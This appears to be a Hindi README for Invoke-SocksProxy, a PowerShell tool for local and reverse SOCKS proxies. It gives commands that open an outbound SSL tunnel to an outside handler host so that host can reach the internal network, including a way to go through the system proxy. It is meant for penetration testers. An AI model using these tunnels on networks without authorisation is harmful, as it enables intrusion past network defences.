
सॉक्स प्रॉक्सी, और पावरशेल का उपयोग करके रिवर्स सॉक्स सर्वर।
पावरशेल का उपयोग करके एक स्थानीय या "रिवर्स" Socks प्रॉक्सी बनाता है।
स्थानीय प्रॉक्सी एक सरल Socks 4/5 प्रॉक्सी है।
रिवर्स प्रॉक्सी आउटबाउंड SSL कनेक्शन शुरू करके एक tcp टनल बनाता है जो सिस्टम के प्रॉक्सी के माध्यम से जा सकता है। फिर इस टनल का उपयोग रिमोट होस्ट पर एक socks प्रॉक्सी के रूप में किया जा सकता है ताकि स्थानीय होस्ट के नेटवर्क में प्रवेश किया जा सके।
पोर्ट 1080 पर Socks 4/5 प्रॉक्सी बनाएं:
Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -bindPort 1080
थ्रेड्स की अधिकतम संख्या 200 से 400 तक बढ़ाएं:
Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -threads 400
रिमोट होस्ट के पोर्ट 1080 पर एक "रिवर्स" Socks 4/5 प्रॉक्सी बनाएं:
# रिमोट होस्ट पर:
# एक प्राइवेट की और सेल्फ-साइन किया गया प्रमाणपत्र जनरेट करें
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout private.key -out cert.pem
# प्रमाणपत्र फिंगरप्रिंट को सत्यापित करने के लिए प्राप्त करें:
openssl x509 -in cert.pem -noout -sha1 -fingerprint | cut -d "=" -f 2 | tr -d ":"
# हैंडलर शुरू करें
python3 ReverseSocksProxyHandler.py 443 1080 ./cert.pem ./private.key
# स्थानीय होस्ट पर:
Import-Module .\Invoke-SocksProxy.psm1
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130
# सिस्टम प्रॉक्सी के माध्यम से जाएं:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -useSystemProxy
# प्रमाणपत्र सत्यापित करें
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -certFingerprint '93061FDB30D69A435ACF96430744C5CC5473D44E'
# हैंडलर से असफल कनेक्शनों की एक निश्चित संख्या के बाद छोड़ दें:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -maxRetries 10
सिस्टम प्रॉक्सी ट्रिक के लिए श्रेय: https://github.com/Arno0x/PowerShellScripts/blob/master/proxyTunnel.ps1
यह परियोजना सुरक्षा शोधकर्ताओं और पेनिट्रेशन टेस्टर्स के लिए है और इसका उपयोग केवल सिस्टम स्वामियों की अनुमति से किया जाना चाहिए।